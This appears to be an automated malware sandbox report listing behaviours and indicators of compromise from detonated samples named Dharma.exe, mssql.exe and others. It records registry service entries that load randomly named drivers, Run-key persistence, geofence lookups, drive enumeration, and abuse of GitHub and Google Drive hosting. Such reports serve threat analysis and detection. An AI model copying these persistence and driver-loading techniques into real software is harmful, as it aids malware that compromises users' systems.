hxxps://bit[.]ly/triageshare2024

Modify Registry

T1112

Processes:

mssql.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\imdfsnbokmrlzztth\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\imdfsnbokmrlzztth.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vnyjgjwvyidmkhs\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\vnyjgjwvyidmkhs.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wvtzlpcdltvppr\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\wvtzlpcdltvppr.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ptnukwfjxwyitc\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\ptnukwfjxwyitc.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssql\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mssql.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mcqvhkmbnsxtbjwx\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mcqvhkmbnsxtbjwx.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\zmfbljzinfyrwdf\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\zmfbljzinfyrwdf.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fbqcoohcxmtzwh\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\fbqcoohcxmtzwh.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dygqpnlxywnyyzwaq\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\dygqpnlxywnyyzwaq.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mssqlaq\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\mssqlaq.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wrqpygxanwnhnr\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\wrqpygxanwnhnr.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\brdtddjpasahyarh\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\brdtddjpasahyarh.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\lgnggrlcmwiarfnt\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\lgnggrlcmwiarfnt.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\hhgobsjpxaovxkii\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\hhgobsjpxaovxkii.sys"	mssql.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\fenbcrukxkiuhcpf\ImagePath = "\\??\\C:\\Users\\Admin\\Downloads\\ac\\fenbcrukxkiuhcpf.sys"	mssql.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Dharma.exeAdwereCleaner.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Dharma.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	AdwereCleaner.exe

Executes dropped EXE 16 IoCs

Processes:

python-3.12.3-amd64.exepython-3.12.3-amd64.exepython.exepython.exepy.exepython.exeButterflyOnDesktop.exeCockroachOnDesktop.exeDharma.exeAdwereCleaner.exerickroll.exe6AdwCleaner.exenc123.exemssql.exemssql2.exeSearchHost.exe

pid	process
3308	python-3.12.3-amd64.exe
452	python-3.12.3-amd64.exe
4852	python.exe
4348	python.exe
1564	py.exe
3556	python.exe
4220	ButterflyOnDesktop.exe
1164	CockroachOnDesktop.exe
2824	Dharma.exe
4136	AdwereCleaner.exe
1468	rickroll.exe
2320	6AdwCleaner.exe
2100	nc123.exe
2836	mssql.exe
4892	mssql2.exe
4248	SearchHost.exe

Loads dropped DLL 44 IoCs

Processes:

python-3.12.3-amd64.exeMsiExec.exepython.exepython.exepython.exe

pid	process
452	python-3.12.3-amd64.exe
644	MsiExec.exe
4852	python.exe
4852	python.exe
4852	python.exe
4852	python.exe
4852	python.exe
4852	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
4348	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe
3556	python.exe

Registers COM server for autorun 1 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Processes:

msiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\pyshellext.amd64.dll"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

python-3.12.3-amd64.exe6AdwCleaner.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}\\python-3.12.3-amd64.exe\" /burn.runonce"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdwCleaner = "\"C:\\Users\\Admin\\AppData\\Local\\6AdwCleaner.exe\" -auto"	6AdwCleaner.exe

Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow pid process

203 4196 msiexec.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

flow	pid	process
203	4196	msiexec.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exeSearchHost.exe

description	ioc	process
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\D:	SearchHost.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

Processes:

flow	ioc
216	raw.githubusercontent.com
219	raw.githubusercontent.com
222	raw.githubusercontent.com
224	raw.githubusercontent.com
6	drive.google.com
7	drive.google.com
215	raw.githubusercontent.com

Drops file in Windows directory 49 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Windows\Installer\e5a5d80.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d86.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d77.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d77.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d72.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI258E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d7c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6851.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a5d76.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{575FEF7A-71FE-437E-91B0-D3838C1026DA}	msiexec.exe
File created	C:\Windows\Installer\e5a5d8a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI56B1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6497.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a5d67.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8EB1F259-1326-4583-B383-F5C3D7C93D7D}	msiexec.exe
File created	C:\Windows\Installer\e5a5d6d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7DCF.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A2FC8FF0-021A-431C-826E-E4B85D3F064F}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}	msiexec.exe
File created	C:\Windows\Installer\e5a5d63.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d85.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d8b.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d68.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d6c.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d8f.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d7c.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d81.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{837260D6-3959-452B-A557-666302BEA663}	msiexec.exe
File created	C:\Windows\Installer\e5a5d8b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d63.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5a5d68.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d7b.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6D44.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{474E5879-A9D5-4DF5-9385-ADF7E224CEC7}	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d81.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI251F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a5d6d.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{52ABF617-F7B4-40F9-8197-C7490DAA97A3}	msiexec.exe
File created	C:\Windows\Installer\e5a5d86.msi	msiexec.exe
File created	C:\Windows\Installer\e5a5d71.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA79F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEE9C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI20F8.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e5a5d72.msi	msiexec.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

4588 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4588	sc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133579331646323424"	chrome.exe

Modifies registry class 64 IoCs

Processes:

msiexec.exepython-3.12.3-amd64.exechrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.CompiledFile\DefaultIcon	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.ArchiveFile\shell\open	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.ArchiveFile\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\.py\Content Type = "text/x-python"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\shellex	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConFile\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.CompiledFile\shell\open	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\Shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.CompiledFile\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.CompiledFile\ = "Compiled Python File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.ArchiveFile\shellex\DropHandler	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A2FC8FF0-021A-431C-826E-E4B85D3F064F}\DisplayName = "Python 3.12.3 Tcl/Tk Support (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\Shell\editwithidle\Subcommands	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}\DisplayName = "Python 3.12.3 Development Libraries (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.CompiledFile\shellex\DropHandler	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.Extension\ = "Python Extension Module"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\CPython-3.12	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConArchiveFile\shellex	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\.pyzw\ = "Python.NoConArchiveFile"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}\ = "{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\ = "{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\.pyz	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\Shell\editwithidle\shell\edit312\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\.pyo\ = "Python.CompiledFile"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.Extension	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.Extension\DefaultIcon	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.Extension\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",3"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\DisplayName = "Python 3.12.3 Standard Library (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConFile\Shell\editwithidle	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\DefaultIcon	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",1"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{837260D6-3959-452B-A557-666302BEA663}\ = "{837260D6-3959-452B-A557-666302BEA663}"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{474E5879-A9D5-4DF5-9385-ADF7E224CEC7}\Dependents	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConFile\Shell\editwithidle\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{52ABF617-F7B4-40F9-8197-C7490DAA97A3}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}\ = "{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{3519C7D0-70D4-46F5-A0A9-3A115D73E2EC}\DisplayName = "Python 3.12.3 Core Interpreter (64-bit)"	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A2FC8FF0-021A-431C-826E-E4B85D3F064F}\Dependents\{5ee4d2b6-a5dc-4321-b6bd-3ebc98120a51}	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConArchiveFile\ = "Python Zip Application File (no console)"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.CompiledFile	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{8FB3DEFF-4D86-4889-9B0A-0FE7AE90D7C9}\Dependents	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\Dependents	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{575FEF7A-71FE-437E-91B0-D3838C1026DA}\ = "{575FEF7A-71FE-437E-91B0-D3838C1026DA}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A2FC8FF0-021A-431C-826E-E4B85D3F064F}\ = "{A2FC8FF0-021A-431C-826E-E4B85D3F064F}"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConFile\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",1"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.File\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConFile\shell\open\command	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Python.NoConArchiveFile\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{837260D6-3959-452B-A557-666302BEA663}	python-3.12.3-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\.pyo	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{8EB1F259-1326-4583-B383-F5C3D7C93D7D}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Installer\Dependencies\{A1839EB2-3C30-4BCD-AACF-04F6FF6C90CD}\Version = "3.12.3150.0"	python-3.12.3-amd64.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

chrome.exechrome.exemsiexec.exe

pid	process
4480	chrome.exe
4480	chrome.exe
4524	chrome.exe
4524	chrome.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe
4196	msiexec.exe

Suspicious behavior: LoadsDriver 32 IoCs

Processes:

mssql.exe

pid	process
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe
2836	mssql.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

chrome.exe

pid process

4480 chrome.exe
4480 chrome.exe
4480 chrome.exe
4480 chrome.exe
4480 chrome.exe
4480 chrome.exe
4480 chrome.exe
4480 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
